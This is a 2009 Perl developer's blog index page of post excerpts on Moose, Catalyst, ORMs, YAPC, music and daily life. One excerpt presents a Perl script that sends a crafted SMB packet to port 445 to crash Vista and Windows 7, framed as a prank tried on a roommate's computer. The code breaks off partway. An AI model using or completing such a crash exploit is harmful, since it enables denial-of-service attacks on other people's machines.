Short Lists

Album Short List Movie Short List Game Short List

Posted Sun, Sep 20, 2009

Perl, PostScript, PDF, Printing, and Money

I’ve been pretty busy/distracted lately. Normally I try to post 3 times a week about the cool things that I’m doing, but I haven’t this week because what I am doing isn’t that cool! Basically I started working on the printing subsection of our app at work and it’s not looking like a lot of fun. First let me explain what makes it different than anything we’ve done before. In normal web dev you have the server generate html or maybe a pdf, send that to the user and let them print it.

Posted Fri, Sep 18, 2009

My New Hammers

For the past 6 months or so I’ve been doing a lot more design and a lot less coding (due to design and a few other things) and it’s interesting to me what the results have been. I remember when I got excited by grokking the concepts behind map and reduce. Don’t get me wrong, I am most happy with map and reduce, but to me they are great ways to be terse and clear.

Posted Fri, Sep 11, 2009

Crash your roommate's windows computer WOOO!!!

Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer) #!perl my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program'; use IO::All; my $io = io("$ip:445"); my $foo = "\x00\x00\x00\x90". # Begin SMB header: Session message "\xff\x53\x4d\x42". # Server Component: SMB "\x72\x00\x00\x00". # Negociate Protocol "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853 "\x00\x23".

Posted Wed, Sep 9, 2009

Moose Test Refactoring

I’ve taken care of a significant portion of the refactoring that I’m doing to disable meta-tests for the Moose test suite. I’ve done all the tests up until the 100 series (which are examples.) The following is an example of how it’s done: #!/usr/bin/perl use strict; use warnings; use lib 't/lib'; use Test::More tests => 23; use Test::Exception; use MetaTest; { package Foo; use Moose; use Moose::Util::TypeConstraints; } skip_meta { can_ok('Foo', 'meta'); isa_ok(Foo->meta, 'Moose::Meta::Class'); } 2; meta_can_ok('Foo', 'meta', '.

Posted Mon, Sep 7, 2009

Biking To Work

I’ve waited nearly a work week to make sure I don’t post this prematurely, but it’s been four days now and I’m pretty sure I can say that from now on, in the regular case I’ll be riding my bike to work. There are certainly safety issues, since I live on the outskirts of Dallas, but I’ve done a lot research to make safe choices. I haven’t done everything he says on that site, but mostly that’s because I don’t want to ride on streets instead of sidewalks on big roads.

Posted Fri, Sep 4, 2009

Exceptions with Perl, what a joy!

Today at work I had to do some validation that we haven’t yet had to do for my project at work. I’ve always thought that for validations exceptions are the way to go. I’ll explain everything I did so you guys can benefit/critique. First off, I used Exception::Class to create my exception classes: package ACD::Exceptions; use strict; use warnings; use Exception::Class ( 'ACD::Exception::InvalidBinBox' => { description => 'Invalid Bin-Box', fields => [qw{bin box}], }, 'ACD::Exception::UserException' => { fields => 'message', }, ); use Moose::Util::TypeConstraints; class_type 'ACD::Exception::InvalidBinBox'; class_type 'ACD::Exception::UserException'; no Moose::Util::TypeConstraints; 1; Also note the use of Moose::Util::TypeConstraints; we’ll come back to why I did that in a bit.

Posted Thu, Sep 3, 2009

On Moose and Speed

Today the question was asked: “To Moose or Not to Moose?” The article is fairly well written, but it seems to me that the comments are not exactly educated. Here is the main one this is in response to: I’d try Mouse too. Unless you’re doing something funky I’d be surprised if it’s more than a 1 letter change to your source code. First off, here is a quote from the POD:

Posted Wed, Sep 2, 2009

"Turns out there really are Computer Gremlins!" redux

So after some experimenting at work I found out what the culprit of my previous post was. I still have no idea why some parts of the code changed, and others didn’t. I imagine that part of that had to do with bad technique (see Scientific Method.) Anyway, it has something to do with the extremely sketchtowne Catalyst::Restarter::Win32. I’m not criticizing Rolsky’s code here, it’s just the nature of using Perl 5 in Windows.

Posted Tue, Sep 1, 2009

Turns out there really are Computer Gremlins!

Ok, this is just too crazy to not record and relate. By now anyone who has read much of my blog or interacted with me should know that I use a significant amount of javascript on my current project at work. Because I like to keep everything nicely organized, 95% of the time each class has it’s own file. That means I have to tell the server every time I add a new class.

Posted Thu, Aug 27, 2009

Why should I use an ORM?

At work I tend to play an…Evangelical role? I tend to experiment with various technologies, get sold on them, and then sell them to coworkers. Examples: Apache, DBIx::Class, CGIApp, and lately Catalyst. So I typically find various ways that the new tool helps make my job easier and tell people about that. After they believe me, I then educate them about various nuances and whatnot of the tool. Eventually this will happen with git, when it doesn’t suck so much with Windows.

Posted Thu, Aug 27, 2009

Brief Addendum: Send Email

Ok, so for some reason I left out sending email from last nights’ post. Here it is: sometimes people forget about RT, or they have so many RT’s that they don’t know which ones are fixed and broken. Well, a small nudge via email can convince them to fix a longstanding bug. Of course, if it’s reasonable sending a patch wouldn’t hurt either…

Posted Wed, Aug 26, 2009

How to Help without being a Rockstar

I think a lot of people who use perl have the idea that to help the perl ecosystem be they must be rockstars who churn out exorbitant amounts of code that is well tested and well factored. That is just not true! The easiest thing one can do to help out in the perl ecosystem is to create tickets for any issues you have with modules on RT. It’s not really that much of a hassle and it can help authors out a lot.

Posted Wed, Aug 26, 2009


Normally I opt to eschew metablog post (how meta is that?!) but I figured this deserves a brief explanation. I have been getting more and more spam lately. Fortunately Akismet usually keeps humans from seeing it, but Akismet has also kept back plenty of spam too. So I decided to go with the more powerful reCAPTCHA for comments from now on. I know it’s a hassle, but it could be worse.

Posted Tue, Aug 25, 2009

Concert of the Month: Bat for Lashes

Last night (Thursday) I saw Bat for Lasheslive. It was a really good concert! You may have heard about Bat for Lashes from their awesome, creepy music video from 2007. I got the album (Fur and Gold) after hearing that song and was mostly disappointed. The other songs just didn’t seem to have the depth and feel as that song. So then recently this year I heard Daniel on

Posted Sat, Aug 22, 2009

Finding a sweet domain with perl

So yesterday I spent a few hours trying to find a cool domain for the project I am working on in my free time. (By the way, is open.) After looking at lots of various options, I decided that it would be really cool to get a domain of a latin work with the .US TLD. Too bad I don’t know latin right? So I went online and found some cheesy one page latin dictionary that had a few thousand words.

Posted Thu, Aug 20, 2009

Metrics + Debug!

The project I am working on at work is going to be deployed soon, so today I worked on some of those things that need to be taken care of before the deploy. One of those things was changing our gigantic list of javascript files into a single file with minimal hassle. I actually tried to implement it myself, but that was silly. A simple search on CPAN for catalyst javascript yields two promising results.

Posted Wed, Aug 19, 2009

Perl 6 in Perl 5 FOR THE WIN

Today I wanted to generate a list from another list. Typically I would use map for this, but I wanted to iterate over two elements at a time, instead of one at a time. (A lot of people said to use natatime from List::MoreUtils, over and over. They didn’t read my question very carefully, especially since I specifically said I wanted natatime but with map.) Anyway, mst pointed out Perl6::Gather, which works perfectly for this situation!

Posted Tue, Aug 18, 2009

The Beauty of Code Reuse

I’m probably preaching to the choir here, but it must be said: code reuse is most excellent! Today I got a somewhat complex feature working for our customer, and almost all of it was features I’d already written, and due to the organization of our system I could easily reuse most of the code. Our customer fixes airplane parts. When they fix a part they need to document every single thing they did to the part.

Posted Fri, Aug 14, 2009

CPAN Ratings Day

You may have noticed that there really aren’t a lot of CPAN Ratings out there currently, but you have a chance to help that. The past couple of weeks I’ve done two or three CPAN ratings every Thursday. Just go to CPAN Ratings, get an account, and rate modules that you are a fan of. Generally criticizing modules in active development is a bad idea since bugs should really go to rt.

Posted Thu, Aug 13, 2009

Dallas.p6m: August 2009

So we had another Dallas.p6m tonight. It was fairly laid back compared to some other ones, but it was still a lot of fun. I did a “talk” on the Perl 6 object model, which I didn’t prepare enough for, so it was mostly me asking Patrick some basic questions about stuff I could relate to Moose. So here is the skinny on that stuff: has in Moose is a method, that ties a string to some attributes.

Posted Wed, Aug 12, 2009

On Rewrites, or Why One Should Read as Little Code as Possible

The project I am working on right now is rewriting a large, mostly CRUD application. The current app (second generation) is all VB6 and Stored Procedures. We are making the app entirely web based with DBIx::Class for the brunt of the backend and ExtJS for the UI. There are a few other technologies involved, but they should remain fairly light and unobtrusive. As we’ve designed our code I’ve made an effort to only look at the inputs and outputs of the original code, to avoid using any existing design mistakes that have already been made.

Posted Fri, Aug 7, 2009

Mediums and Messages

When you want to get help on the internet, it’s not just what you say and how you say it; it’s also where you say it. I use three different communication mediums on a day-to-day basis to get help with the various toolkits I use and only a couple of them overlap in medium. There are inherent benefits and drawbacks to each medium, but generally you don’t have a choice in which medium to use for a given project.

Posted Thu, Aug 6, 2009

Initial Catalyst Impressions

I’ve been using Catalyst at home for nearly six weeks now and I guess two weeks at work. I feel that now is a good time for me to list some of my impressions. The angle that I am coming from is mostly CGI::Application, which means very bare bones. The first thing that I got for free with Catalyst was configuration file support. Less than a week after switching to Catalyst our customer asked me if we could change the database connection easily.

Posted Wed, Aug 5, 2009

For Arcanez

So I have some cool posts enqueue but they are not done and longish, so I figured I’d post about this bug in the interaction between Perl 5.10’s switch statement and List::Util’s first method.

Posted Thu, Jul 30, 2009

PerlMonks Getting Hacked and My Solution

So some of you may heard that PerlMonks got hacked recently. Before I get into my (not entirely unique) solution, I want to express how upset I am at PerlMonks about this. I am not going to blame them for getting hacked. But storing passwords in plaintext? I would have thought better from a developer community, especially one as entrenched in web applications as the Perl community. I am dumb for using the same password in a lot of websites, but I’m upset that one of the ones I trusted (level 2 out of 3 password) violated that trust.

Posted Thu, Jul 30, 2009

OpenID with Catalyst and more

Blah blah blah perl marketing navel gazing wasting time blah blah blah perl is alive blah blah blah. Ok, now that we’re done wasting time, here’s how to do something that (hopefully) will be useful! I am working on a small Web Application in my increasingly rare spare time, and I decided I’d like to use OpenID for the authentication. Because of the structure of Catalyst applications this isn’t exactly easy as pie, but if you read this post it will be for you!

Posted Wed, Jul 29, 2009

Concert of the Month: cKy

I saw CKY this past Friday and it was a most excellent concert. I saw two of their three openers. The first one was vanilla boring metal. Only worth mentioning for completion. The second band was Graveyard. They were very interesting. I think they are classified as Blues Metal. It sounds ridiculous, but the music was alright! They were reminiscent of a Metal version of the Allman Brothers. Certainly worth checking out.

Posted Tue, Jul 28, 2009

Public Todo

These are the myriad things I need to do in my public, non-work programming life: Finish CGI::Application::Plugin::DBIx::Class Finish Moose Test Refactor Publish Business Card Release my current Catalyst Project Language::Keyword::Gather Language::Syntax::Junction Begin DBIx::ErrorGenerator (convert DBI errors to exception objects)

Posted Fri, Jul 24, 2009


So some of you may have heard about RESTful interfaces. What I am going to describe here is my vague interpretation of REST through a web developers glasses, with respect to Catalyst and ExtJS. But first some background. I am working on a relatively new project at work (6 months as opposed to 10+ years) and I’ve been striving to use the best tools for the job through and through. I was initially going to try for Rails, but fortunately my boss curbed that interest by saying no, (subtly!

Posted Fri, Jul 24, 2009

Previous Post Updated

Sorry about that guys, I didn’t use links to make it clear which book I was talking about. Usually I do that kind of stuff but the internet was sucky (fixed!) so it hurt to look up links. Enjoy?

Posted Fri, Jul 24, 2009

Initial Impressions of Catalyst Book

I am just getting through chapter four of the Catalyst book and there are already a whole lot of things worth mentioning. My internet is currently at 50% packet loss because our wifi router is busted so this is pretty painful for me. So we’ll keep it short. Moose The book has a nice (very short) introduction to Moose. Not only is this good because Catalyst is now based on Moose, but also I would say you probably want your OO code to be based on Moose.

Posted Thu, Jul 23, 2009

The Surprising Answer to Last Posts Question

Yesterday I asked “Module::Build? EU::MM?”. Turns out that was a false dichotomy! Almost everyone who responded to my post recommended Module::Install, which is cool since it’s what we use at work because of the Catalyst swap. We never had any kind of install method before :-) Although I would also point out that I hope that this choice is pointless for personal project, as I hope to use Dist::Zilla. Have a nice weekend!

Posted Sat, Jul 18, 2009

Switch to Catalyst!

So this week, as previously alluded to, I convinced my boss to let me switch my current app from CGI::Application to Catalyst. I had gotten the book in the mail and I showed it to him to make the point that it’s a serious framework. Fortunately the switch has been mostly painless. The first reason being that our controller is pretty bare right now aside from validation, which took about a day to get entirely ironed out.

Posted Fri, Jul 17, 2009

Module::Build? EU::MM?

Some developers say to use ExtUtils::MakeMaker, some say to use Module::Build. MB is supposed to supplant EU::MM, but people complain that it’s too chatty. Thoughts? Hopes? Dreams? Inquiring minds want to know.

Posted Fri, Jul 17, 2009

Speed, OO, Black Magic, and YAGNI + RTFM

At work we have a certain customer who has a database with something like 250 report tables. They are generated and maintained purely in code and if you ever touch one manually it’s for a one-off script or something. Anyway, we recently started using DBIx::Class at work and part of that meant accessing those report tables with DBIC. The first step was to use DBIx::Class::Schema::Loader, which looks at the table structure and generates a bunch of perl files.

Posted Thu, Jul 16, 2009

July 2009, DFW.p6m

Today we had another P6M meeting. There were seven of us despite the fact that three of the regulars were gone at a birthday party, so that was fairly heartening. As you may already know from the Iron Man Feed, s1n did a talk on .WALK, which is a selector based system for introspecting the methods of a class. One really interesting thing about it is that it (apparently?) isn’t actually for dealing with inherited/overridden methods as much as it is for manually tweaking the multiple dispatch that Perl 6 supports.

Posted Wed, Jul 15, 2009

NULL Conclusion

So a couple perl giants I have already heard of responded to my previous post regarding NULL’s in the database. NULL means “this piece of information exists but is unknown to us”. Follow this simple rule when deciding whether to allow things to be NULL or not and you’re basically sorted – and the standard SQL logic will suddenly work with you rather than against. Until you do a LEFT JOIN and discover that it uses NULLs for “doesn’t exist” in there … but anyway …

Posted Tue, Jul 14, 2009

Should you have NULL's in your database?

So recently I made a post regarding NULL’s and “ with respect to numeric fields in a database. I asked questions on a couple different mailing lists for help and one of the interesting responses I got was that You Shouldn’t Have NULL’s In Your Database Unless Required. Now, I totally understand that for strings, which is all the noted article actually discusses. But my issue wasn’t with a string, it was with a number.

Posted Sun, Jul 12, 2009

Form Validation Sucks.

This is just a rant. I am so sick of validating forms. I do all that I can to make it easy and whatnot, but it still comes back to spite me! Here are two examples of things that are dumb: Checkboxes So html checkboxes are SO DUMB. If they are checked, the value is set to ‘on.’ That’s annoying alone, but if the checkbox is not set it doesn’t even get submitted!

Posted Thu, Jul 9, 2009

Model Based Security

So this is probably old hat to those people who are already big on architecture or know a lot about design patterns, but I thought it was a pretty clever implementation of data security. Anyway, first I’ll start off with how I actually did it, and then maybe talk about it in the abstract. So here’s the idea, I have a user, and that user should only be able to view a certain set of messages.

Posted Wed, Jul 8, 2009

Don't be a jerk

So there’s a certain meme that’s been pretty popular in the perl community lately. I won’t mention it because I think it’s really been discussed too much. The problem I have is that really hurtful things have been said on both sides of the discussion and it’s really too bad. I posted a while back about how glad I was that we aren’t the Ruby community; banning each other from conferences and whatnot.

Posted Tue, Jul 7, 2009

Chapter 7: Open Source

Some of you probably know that I have some opinions, thoughts, and ideas. I actually started this blog because I wanted to write my own (can you guess what?) Manifesto. I chose to write it as a blog because I tend to change my mind. Ask some of my friends and family. They have all observed that I was going to be a math teacher, a psychologist, a biological engineer, a doctor, and a writer.

Posted Sat, Jul 4, 2009

Album of the Week: Ladyhawke

Sorry I’ve neglected the Album of the Week. It’s really hard to write about music. I think I am going to make my requirements for AOTW postage less strict. So with that in mind, this weeks Album of the Week is the eponymous Ladyhawke. It’s a very 80’s sounding album by the interesting artist Ladyhawke. According to Wikipedia Ladyhawke has a weird seagull disease, Asbergers syndrome, and is allergic to medicine?

Posted Thu, Jul 2, 2009

Pair Programming with a Customer. EXTREME.

The week before YAPC was terrible. First my AC went out. That’s a drag in Texas. Because the AC was out, my apartment got really hot, I couldn’t sleep, and then the mantle fell off the wall. That was crazy. Then I found out that I purchased a plane ticket to Raleigh, NC for a family reunion for the same days as YAPC::NA. That cost me an excellent $500. And then (I think Thursday?

Posted Tue, Jun 30, 2009

Finding the Optimum Meeting Location

So I just got back from a family reunion. My family is all about Modern::Reunion, or maybe Enlightened Reunion, or maybe Reunion foo + i. So with this reunion at the end a survey (done with Google Docs) was sent out. My mom asked me if I could somehow find the weighted middle of where everyone (42~ people) lives. So I was all: CENTROID. First off, Centroid on Wikipedia. What we want is the first equation, which is surprisingly simple: average!

Posted Tue, Jun 30, 2009

YAPC Day 2

This is day 2 (my final day :-( ) of YAPC. I tried my best to keep reasonable notes but near the end of the day my brain started to slow down. Hope you dig it nonetheless! The Future of DBIx::Class FYI: mst doesn’t use a mic, he yells. Instead of using MI, the future will use Moose and Roles. Good things DBIC already did: Everything objects (almost no class methods) Schema object multiple connections storage and cursors are objects hides away backend specifics ResultSource object table/view metadata not tied to the class so multiple classes associated with the same table relationships near side, far side, join condition no single columns assumptions for keys result class (inflate_result) minimal protocol ResultSet (my favorite) virtual view pure functional chainable updatable cacheable RestrictWithObject is a really cool use of this stuff Extensible were an accident ‘aha’ moment needed Result Class vs ResultSource list context vs scalar context search() args vs find args() aha moments indicate conceptual inconsistency essential vs implementation complexity Bad things:

Posted Tue, Jun 23, 2009

YAPC Day 1

Today was the first official day of YAPC. A lot happened! I’ll just document what was interesting :-) First there was an intro. The Pittsburgh guys did a lot of work to get it all to work. Enjoy. The Perl Foundation has had a big year. Mostly with updating p5 and working on p6. The Parrot Foundation (ParF) got created. Big deal. Larry’s talk He barked at us! And then played many other sound effects.

Posted Tue, Jun 23, 2009

YAPC::NA - Day -1: Moose

Today was the first day (for me) of YAPC::NA. It was pretty cool! A coworker and I convinced our work to pay for us to go to YAPC and go to the Moose Masterclass. The class was very good. I thought that the slides were very complete and that the exercises were great for a professional conference. Basically he would present a major section of Moose (there were 4 or 5 I think) and then he would tell us to get going on the Classes for that given library.

Posted Mon, Jun 22, 2009

DBIx::Class vs Class::DBI vs Rose::DB::Object vs Fey::ORM

Recently (6 monthsish ago) I decided on an ORM to use at $work. It was pretty hard to make a decision because I’d never really used an ORM for a significant amount of time. Now that I am pretty confident with my chosen ORM I feel like I can make a more informed comparison. I’m going to skip over the basics of declaring classes themselves. Often when researching ORM’s this is the main thing that people look at.

Posted Fri, Jun 19, 2009